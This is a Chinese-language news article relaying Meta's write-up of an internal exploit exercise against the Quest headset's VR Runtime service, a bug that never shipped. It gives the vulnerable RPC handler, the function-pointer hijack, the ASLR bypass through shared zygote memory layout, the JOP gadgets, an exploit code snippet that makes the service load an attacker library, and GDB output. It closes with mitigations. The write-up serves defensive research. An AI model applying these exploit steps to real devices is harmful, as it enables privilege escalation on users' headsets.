空 挡 广 告 位 | 空 挡 广 告 位

Meta分享:通过Runtime代码审查改善Quest系统安全

查看引用/信息源请点击:映维网Nweon

进攻就是最好的防守

映维网Nweon 2023年09月14日)Meta的Native Assurance团队专注于Exploit漏洞利用方面,以及在Meta产品执行主动安全工作,包括模糊测试、静态分析、架构/实现审查等等。另外,Meta提供了一个漏洞赏金计划,以激励相关的安全研究,包括AR/VR。

日前,Native Assurance团队撰文分享了他们在2021年对VR Runtime进行的代码审查,以及如何利用这个机会来改善Quest产品安全状况。下面是具体的整理:

2021年,Meta的Native Assurance团队对一项名为VR Runtime的服务进行了代码审查。作为说明,VR Runtime为基于AOSP的操作系统VROS的客户端应用程序提供VR服务,并用于Meta Quest产品线。在这个过程中,他们发现了多个可能由任何安装应用触发的内存破坏漏洞。

所述漏洞从未进入实际发行版本,但为了更好地理解如何利用VROS,我们决定利用这个机会编写一个可以在VR Runtime中执行任意本机代码的elevation-of-privilege exploit。这样做让我们更好地了解VROS的漏洞利用是什么样子,并为我们提供了可用来改善Meta Quest产品安全状况的可操作项目。

1. VROS的介绍

VROS是运行在Meta Quest产品线的内部AOSP build。它包含以AOSP为基础的定制内容,以在Quest硬件支持VR体验,包括固件、内核修改、设备驱动程序、系统服务、SELinux策略和应用程序当。

作为Android的变体,VROS具有许多与其他现代Android系统相同的安全特性。例如,它使用SELinux策略来减少暴露给设备运行的unprivileged code的attack surface。由于相关保护措施,现代Android攻击通常需要针对众多漏洞的攻击链来获得对设备的控制。试图破坏VROS的攻击者必须克服类似的挑战。

对于VROS,VR应用基本上是普通的Android应用。但为了向用户提供VR体验,应用程序会与各种系统服务和硬件进行通信。

2. VR Runtime

VR Runtime是一项为客户端VR应用程序提供时间扭曲和合成等VR功能的服务。它作为com.oculus.systemdriver (VrDriver.apk)包的一部分包含在com.oculus.vrruntimeservice进程中。VrDriver包安装到VROS的/system/priv-app/目录之下,使得com.oculus.vrruntimeservice成为一个SELinux域为priv_app的privileged service。这赋予了它超越普通Android应用程序的权限。

VR Runtime服务以由Meta开发的Runtime IPC作为基础。Runtime IPC使用UNIX管道和ashmem共享内存区域来促进客户机和服务器之间的通信。名为runtimeipcbroker的本地代理进程位于客户机和服务器之间,并管理初始连接,之后客户机和服务器直接相互通信。

3. VR应用/VR Runtime连接

所有VR应用都使用Runetime IPC连接到运行在com.oculus.vrruntimeservice进程中的VR Runtime服务器。VrApi和OpenXR接口从VrDriver.apk动态加载一个库,其中包含VR Runtime实现的客户端,并在底层使用它来执行VR Runtime支持的各种VR操作,例如时间扭曲。

这个过程可以概括为以下几个步骤:

  1. 加载程序在build time链接到所有VR应用程序。这使得VR应用程序可以在多个产品/版本上运行。

  2. 当VR应用启动时,加载器使用dlopen来加载vrapiimpl.so库。加载器将获取vrapiimpl.so中与公共VrApi或OpenXR接口相关联的函数的地址。

  3. 加载器执行后:

    • VR应用将创建一个Runtime IPC连接,连接到运行在com.oculus.vrruntimeservice内部的VR Runtime服务器。

    • 这个过程由本地的runtimeipcbroker进程调解,以便客户机和服务器可以直接通信。

    • 从此以后,连接使用UNIX管道和共享内存区域进行客户机/服务器通信。

4. VR Runtime attack surface

VROS大多数应用程序的默认SELinux域是untrusted_app。所述应用包括从Meta Quest Store安装的应用程序,以及侧载到设备的应用。

untrusted_app域是限制性的,旨在包含应用应该需要的最小SELinux权限。

由于不受信任的应用程序可以与privilege的VR Runtime服务器通信,这造成了privilege风险的提升。如果一个不受信任的应用程序能够利用VR Runtime代码中的漏洞,它将能够执行为privileged应用程序保留的操作。正因为如此,所有来自不受信任的应用程序到VR Runtime的输入都应该进行严格审查。

VR Runtime处理来自不可信应用的最重要输入是来自RPC请求和读写共享内存的输入。处理所述输入的代码由VR Runtime的attack surface组成,如下图所示:

5. 利用VR Runtime的漏洞

在深入研究漏洞及其利用之前,我们先解释一下我们所考虑的利用场景。

任何拥有Meta Quest头显的人员都可以打开开发者模式,允许用户侧载应用并拥有adb / shell访问权限。这并不意味着用户能够获得root权限,但它确实给了他们很大的灵活性来与头显交互。

我们选择从应用程序升级头显privilege的角度来追求漏洞利用。这样的应用程序可能是恶意的,或者可能是用户出于越狱目的而加载的。

6. 漏洞

我们选择的漏洞从未进入实际发行版本,但它出现在2021年的代码提交中。所述代码提交添加了VR Runtime可以通过Runtime IPC接收的新型消息的处理代码。以下是所述漏洞的编辑代码片段:

 REGISTER_RPC_HANDLER(
    SetPerformanceIdealFeatureState,
    [=](const uint32_t clientId,
      const SetPerformanceIdealFeatureStateRequest request,
      bool& response) {
// ...  

PerformanceManagerState->IdealFeaturesState.features_[static_cast(request.Feature)]
          .status_ = request.Status;     
PerformanceManagerState->IdealFeaturesState.features_[static_cast(request.Feature)]
          .fidelity_ = request.Fidelity;
// ...
      response = true;
      return reflect::RPCResult_Complete;
    })

请求参数是一个基于Runtime IPC接收到的内容构建的对象。这意味着request.Featureg和request.Status由攻击者控制。PerformanceManagerState->IdealFeaturesState.features_ 变量是一个静态大小的数组,位于libvrruntimeservice.so模块的.bss section。PerformanceManagerState->IdealFeaturesState.features_的结构如下:

enum class FeatureFidelity : uint32_t { ... };
enum class FeatureStatus : uint32_t { ... };
struct FeatureState {
  FeatureFidelity fidelity_;
  FeatureStatus status_;
};

struct FeaturesState {
  std::array features_;
};

因为request.Featureg和request.Status由攻击者控制,并且PerformanceManagerState->IdealFeaturesState.features_ 变量是一个静态大小的数组,所述漏洞使得攻击者能够以任意偏移量(32位限制)执行任意8字节长的破坏。任何VR应用程序都可以通过发送SetPerformanceIdealFeatureState Runtime IPC消息来触发所述漏洞。另外,所述漏洞十分稳定,可以重复。

7. 劫持控制流

我们这次漏洞利用的最终目标是任意执行本机代码。我们需要将这个8字节写入漏洞转化为对攻击者有用的元素。第一步是找到一个破坏目标来控制程序计数器。

值得庆幸的是,VR Runtime是一个复杂的有状态软件,它的.bss section有很多有趣的潜在目标。我们理想的破坏目标是一个函数指针:

  1. 它存储在全局数组之后的任意偏移位置。这非常重要,因为这意味着我们可以使用8字节写入原语来破坏和控制它的值。

  2. 它具有攻击者可访问的调用站点。这十分重要,因为如果没有调用站点调用函数指针,我们就不能接管控制流。

为了枚举可从写入原语访问的损坏目标,我们使用Ghidra手动分析libvrruntimeservice.so binary中的.bss section的布局。首先,我们定位了数组在section中的存储位置。这个位置对应于PerformanceManagerState->IdeaFeatureState.features_ 数组的开始:

然后,我们搜索包含在libvrruntimservice.so binary的前向可达破坏目标。幸运的是,我们找到了一个在运行时动态解析,并存储在ovrVulkanLoader对象的全局实例中的函数指针数组。ovrVulkanLoader中包含的函数指针指向提供Vulkan接口的libvulkan.so模块。Vulkan接口函数指针调用可通过RPC从攻击者控制的输入间接调用。这两个特性满足我们前面提到的两个利用标准。

考虑到这一点,我们寻找一个我们知道可以从RPC命令间接调用的函数指针。我们选择覆盖vkGetPhysicalDeviceImageFormatProperties函数指针,它可以从CreateSwapChain Runtime IPC RPC命令发起的控制流中调用。

下面是调用vkGetPhysicalDeviceImageFormatProperties函数指针的CreateTextureSwapChainVulkan函数的反编译输出:

为了劫持控制流,我们首先使用写入原语来破坏vkGetPhysicalDeviceImageFormatProperties函数指针,然后写一个RPC命令来触发CreateTextureSwapChainVulkan函数。这最终允许我们控制程序计数器:

8. 绕过Address Space Layout Randomization(ASLR)

我们把这个破坏原语变成了允许我们控制目标程序计数器的工具。ASLR一种缓解攻击的方法,它使得攻击者难以预测目标的地址空间。由于ASLR,我们不知道目标地址空间:我们不知道库在哪里加载,不知道heap或stack在哪里。了解它们的位置对于攻击者来说非常有用,因为你可以将执行流重定向到加载的库,并重用其中的代码。这是一种称为JOP的技术。

绕过ASLR是现代开发中的一个常见问题,答案通常是:

  1. 找到或制造一种方法来泄露有关地址空间的提示(函数地址、保存返回地址、heap指针等)。

  2. 另寻他法。

我们探索了这两种选择,并最终发现了非常有趣的东西:

$ adb shell ps -A
USER           PID  PPID     VSZ    RSS WCHAN            ADDR S NAME                       
root           694     1 5367252 128760 poll_schedule_timeout 0 S zygote64
u0_a5         1898   694 5801656 112280 ptrace_stop         0 t com.oculus.vrruntimeservice
u0_a80        7519   694 5383760 104720 do_epoll_wait       0 S com.oculus.vrexploit

在上面的代码中,你可以看到我们的应用程序和目标已经从zygote64进程中分离出来。结果是我们的进程从zygote64进程继承了与VR Runtime进程相同的地址空间。这意味着在fork time,在zygote64进程中加载的库将在这两个进程中的相同地址加载。

这非常有用,因为这意味着我们不再需要破坏ASLR,毕竟我们已经详细了解了内存中许多库的位置。下面显示了一个示例,其中libc.so模块在两个进程中都以0x7dae043000加载:

$ adb shell cat /proc/1898/maps | grep libc.so
7dae043000-7dae084000 r--p 00000000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae084000-7dae11e000 --xp 00040000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae11e000-7dae126000 r--p 000d9000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae126000-7dae129000 rw-p 000e0000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so

$ adb shell cat /proc/7519/maps | grep libc.so
7dae043000-7dae084000 r--p 00000000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae084000-7dae11e000 --xp 00040000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae11e000-7dae126000 r--p 000d9000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae126000-7dae129000 rw-p 000e0000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so

利用上述知识,我们枚举了两个地址空间中的所有共享库,并在其中寻找代码重用gadget。这时候,我们需要在文件中筛选数百万个代码重用gadget,从而assemble JOP链并实现我们的目标。

...
0x240b4: ldr x8, [x0]; ldr x8, [x8, #0x40]; blr x8; 
0x23ad0: ldr x8, [x0]; ldr x8, [x8, #0x48]; blr x8; 
0x23ab0: ldr x8, [x0]; ldr x8, [x8, #0x50]; blr x8; 
0x24040: ldr x8, [x0]; ldr x8, [x8, #0x70]; blr x8; 
0x23100: ldr x8, [x0]; ldr x8, [x8, #8]; blr x8; 
0x23ae0: ldr x8, [x0]; ldr x8, [x8]; blr x8; 
0x22ba8: ldr x8, [x0]; ldr x9, [x8, #0x30]; add x8, sp, #8; blr x9; 
0x231e0: ldr x8, [x0]; mov x19, x0; ldr x8, [x8, #0x58]; blr x8; 
0x208fc: ldr x8, [x0]; rev x0, x8; ret; 
0x231f0: ldr x8, [x19]; mov w20, w0; mov x0, x19; ldr x8, [x8, #0x60]; blr x8; 
0x22de4: ldr x8, [x1]; mov x0, x1; ldr x8, [x8, #0x70]; blr x8; 
0x179e4: ldr x8, [x20], #0x10; sub x19, x19, #1; ldr x8, [x8]; blr x8; 
0x17ea4: ldr x8, [x21]; mov x0, x21; ldr x8, [x8, #0x10]; blr x8; 
0x23b0c: ldr x8, [x21]; mov x0, x21; mov x1, x20; ldr x8, [x8, #0x48]; blr x8; 
0x17b38: ldr x8, [x22], #0x10; mov x0, x21; ldr x8, [x8]; blr x8; 
0x17ad8: ldr x8, [x22], #0xfffffffffffffff0; mov x0, x21; ldr x8, [x8]; blr x8; 
0x23be0: ldr x8, [x22]; mov w23, w0; mov x0, x22; ldr x8, [x8, #0x60]; blr x8; 

我们现在能够控制执行流程,知道在VR Runtime中加载的大量库在内存中的位置,并且拥有代码重用工具列表。下一步是编写漏洞,以便在VR Runtime过程中执行我们选择的有效载荷。

9. 漏洞利用

提醒一下,我们的利用场景是从已经安装的非受信应用的角度出发。我们的开发方法是令VR Runtime进程使用我们的应用程序APK中的dlopen来加载共享库。当VR Runtime加载库时,我们的有效载荷将作为加载库初始化函数的一部分自动执行。

为了实现这一点,我们需要一个JOP链来执行以下操作序列:

  1. 给$x0 (ARM64 ABI中的第一个函数参数)分配一个指针,并指向我们在漏洞利用APK中放置的共享模块的路径。

  2. 将程序计数器重定向到open。

为了构建JOP链,我们根据劫持时所控制的寄存器和内存筛选了gadget列表。劫机发生时的情况如下:

回想一下,控制流传输到dlopen时的$x0寄存器对应于路径参数。

我们现在必须解决的问题是,如何用指向我们控制的字符串的指针加载$x0?这非常棘手,因为我们唯一能够插入受控数据的地方是目标的.bss section。但我们不知道它在内存中的位置,所以我们无法硬编码它的地址。

一件对我们非常有帮助的事情是,在控制流劫持时,在$x21寄存器中碰巧有一个指向.bss section(ovrVulkanLoader)的指针。

这意味着理论上我们可以简单地移动$x21。这就给了我们控制路径展开的论据,并解决了我们的问题。

经过几个小时的筛选,我们最终找到了一个既能满足我们的需求,又能允许我们保持控制流程的gadget:

ldr        x2,[x21 , #0x80 ]
mov        w1,#0x1000
mov        x0,x21
blr        x2

然后,我们可以使用另一个gadget将$x1 (ARM64 ABI中的第二个函数参数)设置为相同的值并调用dlopen:

mov        w1,#0x2
bl         ::dlopen undefined dlopen()

幸运的是,我们使用的写入漏洞同样可重复。这意味着我们可以从$x21 (ovrVulkanLoader)覆盖内存偏移中的多个位置。我们最终使用多个RPC命令以设置gadget状态所需的方式覆盖内存,然后触发控制流劫持。

使用这种方法,我们设置了gadget状态来组合上面的两个gadget,并且能够加载我们的共享模块,从而为我们提供任意的本机代码执行:

  // Corrupt the `vulkanLoader.vkGetPhysicalDeviceImageFormatProperties` pointer which is
  // at +0x68. We hijack control flow by triggering a function call in
  // ovrSwapChain::CreateTextureSwapChainVulkan.
  // First gadget in eglSubDriverAndroid.so
  //  0010b3ac a2  42  40  f9    ldr        x2,[x21 , #0x80 ]
  //  0010b3b0 e1  03  14  32    mov        w1,#0x1000
  //  0010b3b4 e0  03  15  aa    mov        x0,x21
  //  0010b3b8 40  00  3f  d6    blr        x2
  const uint64_t vkGetPhysicalDeviceImageFormatPropertiesOffset = VulkanLoaderOffset + 0x68;
  const uint64_t FirstGadget = ModuleMap.at("eglSubDriverAndroid.so") + 0xb3'ac;
  Corruptions.emplace_back(vkGetPhysicalDeviceImageFormatPropertiesOffset, FirstGadget);


  // Second gadget in libcutils.so:
  //  0010bc78 41  00  80  52    mov        w1,#0x2
  //  0010bc7c ad  0d  00  94    bl         ::dlopen undefined dlopen()
  const uint64_t SecondGadget = ModuleMap.at("/system/lib64/libcutils.so") + 0xbc'78;
  Corruptions.emplace_back(VulkanLoaderOffset + 0x80, SecondGadget);

下面是GDB的样子:

(gdb) break *0x7c98012c78
Breakpoint 1 at 0x7c98012c78

(gdb) c
Continuing.
Thread 41 "Thread-15" hit Breakpoint 1, 0x0000007c98012c78 in ?? ()

(gdb) x/s $x0
0x7bb11633e8:   "/data/app/com.oculus.vrexploit-OjL813hdSAtlc3fEkJKdrg==/lib/arm64/libinject-arm64.so"

(gdb) c
Continuing.
warning: Could not load shared library symbols for /data/app/com.oculus.vrexploit-OjL813hdSAtlc3fEkJKdrg==/lib/arm64/libinject-arm64.so.

在这一点上,我们完成了我们的目标,并能够在VR Runtime过程中执行任意本地代码。

10. 我们学到了什么

我们尝试从演练中获得尽可能多的价值,重点关注我们可以用来改善Meta产品安全状况的可操作项目。我们不会在这篇文章中列出所有的结果,但有一些值得注意。

10.1 用于RW全局内存中的函数指针的RELRO

我们在测试早期注意到的一个模式是,VR Runtime服务在全局内存中包含许多函数指针。VR Runtime进程在其初始化的早期加载这些函数指针,首先在特定系统安装的库上调用dlopen,然后使用dlsym分配给定的函数指针及其相关地址。

这种方法为开发者提供了使用提供跨产品通用API的vendor库的灵活性(例如libvulkan.so)。缺点是函数指针存储在可读写内存中,使其成为基于内存破坏的覆盖的主要目标。在VR Runtime的情况下,它们存储在全局可读写内存中,而这些内存恰好可以从我们的out-of-bounds写入漏洞利用原语访问。另外,这些函数指针不受编译器mitigation的保护,如控制流完整性。

作为利用演练的结果,我们探索了在初始赋值之后保护函数指针的不同策略。一种策略是尝试镜像众所周知的RELRO mitigation。在完整的RELRO中,包含这些指针的映射在初始化之后属于只读,这可以防止恶意写入覆盖它们的内容。

我们对VR Runtime代码进行了多次修改,将全局内存中的函数指针标记为只有在初始化后才能读取。如果有这种保护,我们的开发就会困难得多。我们现在正在通过构建一个实现所述技术的LLVM编译器来推广这种方法。

关于SELinux的思考

在开发过程中,对我们来说最令人沮丧的事情之一是SELinux强加给我们的限制。尽管如此,我们还是惊喜地发现,我们可以作为privileged应用从一个不受信任的应用程序的数据目录中加载一个.so库。这是因为Android的默认SELinux策略允许privileged应用在/data/app下执行代码,而不受信任的应用程序通常安装在/data/app下。

Android支持这种行为,因为它允许在OTA更新之外对privileged应用进行更新。这允许使用与原始证书相同的证书签名的privileged应用以更轻量级的方式更新。更新后的privileged应用安装到/data/app,但保留其privileged SELinux context。

尽管我们还没有开发出解决这个问题的方案,但我们认为这是Android一个值得改进的潜在领域。

本文链接https://news.nweon.com/112599
转载须知:转载摘编需注明来源映维网并保留本文链接
素材版权:除额外说明,文章所用图片、视频均来自文章关联个人、企业实体等提供
QQ交流群苹果Vision  |  Meta Quest  |  微软HoloLens  |  AR/VR开发者  |  映维粉丝读者

您可能还喜欢...

资讯